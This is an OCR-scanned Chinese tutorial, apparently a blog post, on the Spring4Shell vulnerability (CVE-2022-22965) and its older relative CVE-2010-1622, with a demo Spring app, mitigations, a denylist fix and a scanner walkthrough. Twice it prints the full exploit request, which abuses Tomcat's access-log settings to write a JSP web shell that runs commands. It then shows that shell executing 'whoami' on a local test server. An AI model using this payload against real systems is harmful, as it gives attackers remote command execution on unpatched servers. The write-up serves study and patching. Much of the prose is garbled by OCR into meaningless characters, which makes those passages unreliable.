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0 ARy
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£3K16%89%) 5152 Spring4Shell 70, (I ERX EL A 1T HE 4R IR 12
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© BERBETIHE

1. .Eﬂﬂtlmﬂi"_*._
MBS : CVE-2010-1622

XANmEE Hsomk X, BB EHERERIZZIY: CVE-2010-1622, MHXKAICVE-2
22-22965$I]CVE-201 0-1 622%*[3’]&5519%’@%&@—/?1&7’5 o

XX Spring4Shel A& RHAIE20225:3H315H] vmware FI—RiE2: CVE-2022-22965:
pring Framework RCE via Data Binding on JDK 9+, fEXftEEYG, NETXNEESHLA
BITRSRMF:

These are the prerequisites for the exploit:

e JDK 9 or higher (JDK 9LA_ERRA)
e Apache Tomcat as the Servlet container (servletzsg: tomcat)
e Packaged as WAR (3 T&Z:EVAWARE)
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e spring-webmvc or spring-webflux dependency (&&Spring-webmvcaEspring-webflux{ik
)

1.2 &A1 log4jisiR

AJLARIESpring + Tomcat + WARRYASHARREZH, XEIRIERAElog4jRImARS AEIF
JDKEWDKILAE, SEIXNBRES AT,

£ vmware KHXMEEARRA, Spring#iB T &I B— N RERREXNKR: Spring Framework
RCE, Early Announcement, fEXMNREFEIMEMAIRE T 2R CVE-2022-2296582 0 ZHSEE.

EEMECISAGEEMNSZIEMIREZERISX NERAMIZIEET “"EaFIRIEE" REAF

AR RT, XEMIIESAGHIEESpring Releases Security Updates Addressing &#34;
pring4Shell&#34; and Spring Cloud Function Vulnerabilities

HiEENERRERREENE—NER, Check PointgifREIE4 B 25— NEAERHMENE] T 37000
Spring4Shelli&d,

Check Point, A—ZFRUFAT], £FRCheck PointBXIHRIARBIRAE], FIZF19935, KREMUFLA
SRR, IKEE—IBM Internet efRR AN,
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Vulnerability Allocation Attempts Since Outbreak
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% IMPACTED ORGANIZATION PER REGION

GLOBAL AVG 16%

LATIN AMERICAS 13%

NORTH AMERICA 11%
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SAMRATLABIDX MR EICheck PointfREMENNFAINSE: 16% of organizations worldwid
impacted by Spring4Shell Zero-day vulnerability exploitation attempts since outbreak

FMENUEBAREERREREMNELRS REHTIES, FARXRNBRIZAUI0g4jAIBR N INIERE
2. ERAILHIEFTELISZIXNER, SEIUEEBTIIMRRRIN, mEPE=-2019
EHEFEWeb AL 2R S FREI90% LA LG R EKIRT 1S,
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1. 90%LA L F R ERIFR T EER

PR EERNEENFEANE, EANGHEREPRRIARERNOwebtRERERAKEHE
TFOHR. BRI, THFHERFIFEBRAMBRIER, TR EEMGEER S ET LAOHR,
RSB ERLBRET A ROBEED.

MNERIRMERSE, EHONED, SRETENERMEEI0%LIL, BRERBRERMU=ENEEE,
FITH10%FINHITH, Oday, I"ERAFHRENRBEELI0%EHRMRR, WES-1MHT.

I I 6%
B s 94%

E3-1

2. miRREELAR(ES
L THRALERINIEB&HMEgithubt: spring4shelldemo

Pz T EMEA X NREREE, (EA—MEFRRERIBRATEMH, i1\ —TXNERERDH
T—YHA, AHAIDKILLEIRAA S HE,

BEEXZHEAIEELECVE-2010-1622 ARE.,

2.1 CVE-2010-1622 pkHE
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th SRR T BT

f£20105, JDKSRIEHAELEAE 7 SpringMVC, FATRTLUBEE Y Java bean IS RIIBKSE
FRFRZSEFEPNSEEHTHE, HTME. TR

EXBeansig, ShoppingCartla¥ZE

package run.runnable.spring4shelldemo.entity;

/**
* @author Asher
* on 2022/4/17 */public class ShoppingCart {

private Integer userld;
private Long total;

public Integer getUserld() {
return userld;

}

public void setUserld(Integer userld) {
this.userld = userld;

}

public Long getTotal() {
return total;

}

public void setTotal(Long total) {
this.total = total;

}

@Override
public String toString() {
return "ShoppingCart{" +
"userld=" + userld +
", total=" + total +
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}
}

PAIETEControllerBAf15—1N5i%, FARERE N RAFPIWEPESEMNE
package run.runnable.spring4shelldemo.controller;

import org.slf4j.Logger;

import org.slf4j.LoggerFactory;

import org.springframework.stereotype.Controller;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import run.runnable.spring4shelldemo.entity.ShoppingCart;

import java.util. Map;

/**

* @author Asher

*on 2022/4/17 */@Controller
public class ShoppingCartController {

private final static Logger logger = LoggerFactory.getLogger(ShoppingCartController.class);

@RequestMapping(value = "/total", method = RequestMethod.POST)
@ResponseBody
public ShoppingCart total(@RequestParam Map<String, String> requestparams, Shopping
art shoppingCart) {
String userld = requestparams.get("userld");
logger.info("userld:{}", userld);
//query from DB
Long total = 100L;
shoppingCart.setTotal(total);
return shoppingCart;

}

HFANBI postmangyBEEM T B TIEKAEHE, rTLABEformEBREBITIRR, XIEFE totaliXp
SEMPLSBE G userldfl ShoppingCart ITSFHTEEE, TN vserl diXiME
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total

POST . http:/flocalhost:B0B0/springdshelldemo_war/total

rders (8) Body ® Pre-request Script ttings Cookies
none @ form-data x=www-form-urlencoded raw binary GraphQL
KEY VALUE DESCRIPTION son Bulk Edit
ﬂ userld 10001
Body Cookies Headers (5 Test Results > Status: 200 OK  Time: 108 ms e 192 8 Save Response
Pratty Preyigw VisLalize JSON = m Q
.[
"userld": 10061,
"total®: 100
i

o0 shoppinaCart = {ShooninoCart@A0AA) “ShoppingCart{userid=10001, total=null}®
» serid 10001

£ EEX M EER LIS EREE & BHEEE TXMAvalue, XERATEX
BarEEFSpring= BalA I XIRPRIpUblicTTiEFIFRR, AR a3
Blpublichli—P=ER, MEmME, FEAIFRFERIEREGHEE.

IERRE AR RphfFfE:

public void setUserld(Integer userld) {
this.userld = userld;

}
fESpringBate R, BERIUEBIESIERE £
HIRTHRE L EREERERENRREMSENNER 7, TavaXifd, WREFEXRAIZEXTS5R
fin FESOEL P . RURPEERMNEES, XPRINFEEREFTT
DEGHAE MEMERIX — NI RS HIVMET R3S
o BIT— RIS IRER FFREE X MR " HF T,
o BN FIRAT RN SEEE N N EXANE TSRS,
o TFlavatEhdf—MFX MR java.lang.Classids:, {EAEKIXLEGRAGRIAL,
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KRR TIVMEFHREIRE HEIRMERER, BBAFKI T BRSNS, ol BECH
NN 2SI H =T mASEREN,

o Mclass3{43k->—RRAIS A NnE

o MzipEHk- > IN&jardadz

o MMLEHE->Applet

XEER—E, rpciERTiEEARMEX AL,

[ERISEINELES, BRIRESpringEZR TP HA MERAKIMNERRIIE T RAARBT XN EFMclass, FEHUT
XA classHHRITTIE, FAREWRESEMRINTIE! XHECVE-2010-1622iFRAIRLE.

HEAIEE R L B, ESARTLAESISpring®fdclassLoade
: g BRESRIRIEEH, SpringfE HRRIN T A RS T

WNRiEKkZEclassxizgk, FHEBKEMER classLoaderfly, N THET

2 = R T M + Debugge Server BB Tomeat Localost Log

2.2 CVE-2022-22965 pkE

£ OREREE 2R, 201769821 RJavad® TR T, SINTHHFE BRI Jigsaw, FEIXDHT
e XIRARINT FiEA— IR RIRFERmodule

BAILIBEECHIER:

Returns the module that this class or interface is a member of. If this class represents an array
ype then this method returns the Module for the element type. If this class represents a primit
ve type or void, then the Module object for the java.base module is returned. If this class is in

n unnamed module then the unnamed Module of the class loader for this class is returned.

Returns:
the module that this class or interface is a member of
HRYRIREX A classEFinterfacefImodule, INRX  classRarray 28!, HRHXANGARERXA

odulefUiEiEEscR, WNRX NclassEFRiasEE e E void, HBAalEiIR[E]java.baset&ZiRfIModuleligr:
WRIXNER— N ARDRAERP, IPAKBIREIX N RipBIERAVSENIEES
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ClassLoader getClassLoader®() {

Module getModule() {

XHEKEEModuleXHH R EFE— TE ik, SHRBFTLIED
SREX BRIERKRI.

sm.checkPermission(SecurityConstants.

Bt BB Web Context T 3GAER UER
FrLASNSRERA XS IE AN ST LASHT 2 aiiEg S8,

POST http://localhost:8080/spring4shelldemo_war/total

Header:
Content-Type:application/x-www-form-urlencoded
suffix:%>//

c1:Runtime

c2:<%

RequestBody:

class.module.classLoader.resources.context.parent.pipeline.first.pattern:%{c2}i if("j".equals(req
est.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getPara
eter("cmd")).getlnputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){
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out.printin(new String(b)); } } %{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix:.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory:webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix:tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat:

headerBEAVERFERY, RequestBodyH %1 XMELZZN B KA headerEBEExxx, 1BKZEH
fEtomcatfJRoot B R N —1NspIi4

E-40

. tomcatwar.jsp

[ ] B ROOT — -zsh — 123x24

Last login: Fri Apr 22 @8:43:35 on ttysee3l
hers-MacBook-pro ROOT % pwd
! r/Library/Caches/JetBrains/IntellilIdea2821.3/tomcat/aBadbad3-c50d-47cb-aakd-88173e84753b/webapps /ROOT
asher@Ashers-MacBook-pro ROOT % §

XEFEITHIR, MRREERRIZIDEASH], BRAEMAIMHRARREIR T HAItomcaticE
R, MEAEIENERT, BHEEMHNSFTERIXMER

[[eetatiseEanead iowsastas i heses atan i At R LT ATERL A oot [ahahat 2o ideamia M oo e |

2.3 EiRgs

XNRREMESE EEIREIRISpringTREIPEIRAIRIBRE 7 Spring Framework RCE, Early Annou
cement

2.3.1 EikIME

ENEI SR E#EISpring Framework 5.3.18%(15.2.208& 5.
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2.3.2 H#tomcat

FKkFIApache Tomcat 10.0.20, 9.0.62, or 8.5.78, {BiXRE—FhZ2f9f
RIRFARE B RISTHAIS pringiEZRRR AN,

SFER, TEBFRNIZ

W

2.3.3 [OBZlJava8
NHFEEITERERMENE log4jaiRiR, &% 55l 7 logdjfdSpringBoot FHYFIEEI

2.3.4 ZHEE

S IETHRERG A BT t=FRE RIS EFERAY
iE.

@ControllerAdvice
@Order(Ordered.LOWEST PRECEDENCE)
public class BinderControllerAdvice {

@InitBinder

public void setAllowedFields(WebDataBinder dataBinder) {
String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
dataBinder.setDisallowedFields(denylist);

}

3. AR

3.1 N2 EEFERR

fEgithubB2B8RZMNT BN NER, FIAXBRNB—FHERIAERspring4shell-scan
BRIt ™ &G, £ oL EERFE

[ ] W springdshell-scan — -zsh — 123x24

-zsh

asher@Ashers-MacBook-pro spring4shell-scan % ./spring4shell-scan.py -h

usage: spring4shell-scan.py [-h] [-u URL] [-p PROXY] [-1 USEDLIST] [--payloads-file PAYLOADS_FILE] [--waf-bypass]
[--request-type REQUEST_TYPE] [--test-CVE-2822-229631]

options:
-h, —-help show this help message and exit
=u URL, =-=-url URL Check a single URL.
-p PROXY, —--proxy PROXY
Send requests through proxy
-1 USEDLIST, —-list USEDLIST
Check a list of URLs.
-=-payloads-file PAYLOADS_FILE
Payloads file - [default: payloads.txt].
-—waf-bypass Extend scans with WAF bypass payloads.
--request-type REQUEST_TYPE
Request Type: (get, post, all) - [Default: alll.
--test-CVE-2022-22963
Test for CVE-2022-22963 (Sprimg Cloud RCE).
asher@Ashers—MacBook-pro springs&shell-scan % ﬂ
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{EFE-u ap S AMREIGNE A url REFERRE, FIa0:
python3 spring4shell-scan.py -u http://localhost:8080/spring4shelldemo_war/total
=GN e ST

[ ] W springdshell-scan — -zsh — 123x24

-zsh

-=u URL, =-url URL Check a single URL.
-p PROXY, --proxy PROXY
Send requests through proxy
-1 USEDLIST, —-list USEDLIST
Check a list of URLs.
-—payloads-file PAYLOADS_FILE
Payloads file - [default: payloads.txt].
--waf-bypass Extend scans with WAF bypass payloads.
--reguest-type REQUEST_TYPE
Request Typa: (get, post, all) - [Default: alll].
--test-CVE-2022-229463
Test for CVE-2022-22963 (Sprimg Cloud RCE).
asher@Ashers-MacBook-pro sprlng&shell—scan % python3 springéshell-scan.py -u http://localhost:8688/spring4shelldemo_war/tot
al

asher@Ashers—MacBook-pro spring4shell-scan % J§

SREEEENAFRZ url, XEHAZEART, BB ARILUEER

3.2 FIRRiRZEM RiEshell
BRI NSRS BRRYnux, BRARYHIS CEREREE, SAILIIR S hel,

RRi#shell(Reverse Shell): 1Z4iRE A ST R/ TCP/UDP %0, REHIEFIHEX N NEOAR—N
X, ERBECSH v?TEIJEHJ)\EHJ$$§$g§U$£%Jlﬁ, MimiEHlimR T LA\ < SR hl4zin 7.

3.2.1 ERSI+ {512
X DEARIX MRABMHTITE, RERIEIDEAY T RA TR AR BIE AR P
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= springashelldomo ~/gitWorkspace/springdshalid

4 > webapps

-1 ]

> Il ROOT
> M spring4shelldemo
B spring4shelldemo.war

Bz EEA B TR, 2okhY,
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POST ~  hitpi/flocalhost:8080/springdshelldemoltotal [

Params Authorization Headers (8) Body @ Pre-request Script Tests Setlings Cookies ¢

@ none @ form-data @ x-www-form-urlencoded @ raw @ binary @ GraphQL (

KEY VALUE DESCRIPTION =s2  Bulk Edit
userld 10001
Body Cookies MHeaders (5] Test Results @ staws: 200 0K Time: 58 ms  Size: 1928 Save Response
Pratty Raw Preview Visualize JSON ~ 5 W Q
1§ I
2 "wserld": 18061,
3 "total": 188
4 B |

REHANBEBIEANRESE
http://localhost:8080/spring4shelldemo/total

headers:
Content-Type:application/x-www-form-urlencoded
suffix:%>//

c1:Runtime

c2:<%

requestBody:

class.module.classLoader.resources.context.parent.pipeline.first.pattern:%{c2}i if("S".equals(re
uest.getParameter("Tomcat"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.get
arameter("cmd")).getinputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))
=-1){ out.printin(new String(b)); } } %{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix:jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory:webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix:Shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat:
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total with classloader

POST b hitp:/flocalhost:B080/springdshelidemo/total Send b
i AMS zatior feaders (12) Body @ re-redquast Script Tasts arting Cookies
none form-data @ x-www-form-urlencoded raw binary GraphQL
KEY VALUE DESCRIPTION ses  Bulk Edit
class. module.classLoaderresources.context.parent.pipeline. first. pattern ®{c2}i if("S".equalsireguest.getParameter
class.module classLoaderresources.context.panent DIDQIIHQ.ﬂI’S[.SufﬁI J5p
class. module_classLoaderresources.context.parent.pipeline first.directory webapps/ROOT
class. module classLoaderresources context.parent.pipeline first. prefix Shell
class.module.classLoader.resources.context.parent.pipeline first. fileDateFormat

Body kies Heade Test Result & tatus: 200 OK me: 184 ms ze: 1918 Save Response

Pretty Raw Preview Visualize JSON = mQ

"userTd": mull,

"total":

BkZEHRlIEtomcatlwebappERTE, AIEEZ T —1ROOTHIER

& > webapps

iCloud =i R

o Hm > il ROOT
M springdshelldemo
B springdshelldemo.war
Asher's MacBook pro

a0
e
e HE
R
B
ge
e
FRAHREE...

RIARAEFIFERAIShell jsp

R38R logd) ImAANEFERY Spring4Shell


https://ld246.com/article/1650814904695

iCloud =
FHE

Asher's MacBook pro

a8
e
e
® B8
Ee
o E8
o W

BN R E XN A TIHEH BT < T B RIRATEN 7 SRiss S HUTHIRAR
http://localhost:8080/Shell.jsp?Tomcat=S&cmd=whoami

i AwdiE ) cirub TOOLS [Em MMES B0 UEARn B0 Ew B0 MR Bn oaBen B MEIA tutergBest-websi

asher [/ - Ifi"S".equalsirequest.getParameter{" Tomcat "Il java.lo. InputStream in = - getRuntime().execirequest.getParameter]"cmd")L.getinputStream{); int a = -1; bytel] b = new byte[2048];
while((a=inread(b))=—1} cut printinlrew Stringlbl): } } - - if"S" equalsirequest.getParameter(" Tomcat ")) java.io.InputStream in =
-.getRuntime().exec(request getParameter("cmd")) getinputStream(}; int & = -1; byte[] b = new byte[ 2048]; while{(a=in.read(b))!=—1} out.printinf{new Stringlb]); } } - -
if{"S".equals(request.getParameter("Tomcat" )| java.io.InputStream in = —.getRuntimel). execlrequest. getParameter("cmd" . getinputStream(); int a = -1; bytel] b = new byte{2048];
while{(a=in.read(b))l=—1} out printininew Stringlbl); } } - — if"S".equalsirequest.getParamater(" Tomcat "))} java.ioinputStream in =
-.getAuntime().execlrequest getParameter("cmd”)) getinputStream(); int a = =1; bytel] b = new byte[2048]; while{(a=in.read{b))!=-1} cut.printinlnew Stringlbl}; } } - -
if("S".equals(request.getParameter("Tomcat" }J}{ java.io.InputStream in = - getRuntimel).execlrequest.getParamater("cmd" }).getinputStream(); int a = <1; bytel] b = new byte{2048];
while({a=in.read(b))==1){ out printininew String(bl); ] } - - if("S".equalsirequest.getParameter(" Tomcat*)|){ java.io. InputStream in =

getRuntimel().exec{request. getParameter(“emd”)) getinputStream(); int a = -7; byte{] b = new byte{ 2048]; while{(a=in.read(b))l=-1} out.printin{new String(b)); }
If{"5".equalsirequest.getParameter{“Tomcat" ) Java.io.InputStream In = -.getRuntime().execirequest. getParameter(”cmd")).getinputStream(); int a = ~1; byte] b = new byte{2048];
while{(a=In.read(b))!=-1{ cut printin(new String(bl); } } - - if("S".equalsirequest.getParameter(" Tomcat "))} java.lo.InputStream in =
-.getRuntime() execlrequest getParameter{"cmd”)).getinputStream(); int a = -1; byte[] b = new byte{2048]; whilel{a=in.read(b))!=-1{ out.printininew String(bl); } } - -
if("S" equals{request. getParameter"Tomcat" )| java.ioInputStream in = - getRuntime{) execirequest getParameter(”cmad” ). getinputStream(); int a = —1; bytel] b = new byte{2048];
while((a=inread(b}}=-1){ cut.printininew Stringlbl); } } -
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https://ld246.com/article/1650814904695
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HEHMRHEIRE A MRS 88 LIR1E TIXE & Spring4ShellimRA BB MAYLLiRHIE.
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XN REAME AR og4jiIRIRERSHAE T, logdjimRARINIEEARA, REAZFARIDKEILLE
RENEHXNER, FIERSABEFIR.
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5. &%&HHE

Spring Framework RCE, Early Announcement

https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

16% of organizations worldwide impacted by Spring4Shell Z
ro-aay vul%erabi ity exploitation att%mpts si%cepout%reak

https://blog.checkpoint.com/2022/04/05/16-of-organizations-worldwide-impacted-by-spring
shell-zero-day-vulnerability-exploitation-attempts-since-outbreak/

Spring Releases Security Updates Addressing "Spring4Shell*
aﬁd S%ring CTou Funct¥oanuInerabi ities 9 >pring

https://www.cisa.gov/uscert/ncas/current-activity/2022/04/01/spring-releases-security-updat
s-addressing-spring4shell-and

github - spring4shell-scan

https://github.com/fullhunt/spring4shell-scan

Spring-RCE(CVE-2022-22965)i98itt &4

https://blog.csdn.net/include voidmain/article/details/124038228
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https://runnable.oss-cn-guangzhou.aliyuncs.com/blog/sharing/2022-04-23-%E9%98%BF%E
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PERNSHT Java ClassLoader T{EHE

https://segmentfault.com/a/1190000008491597

42234 Shell?

https://mp.weixin.qq.com/s/WqlLaESzB8T4aldj-8tFk6Q
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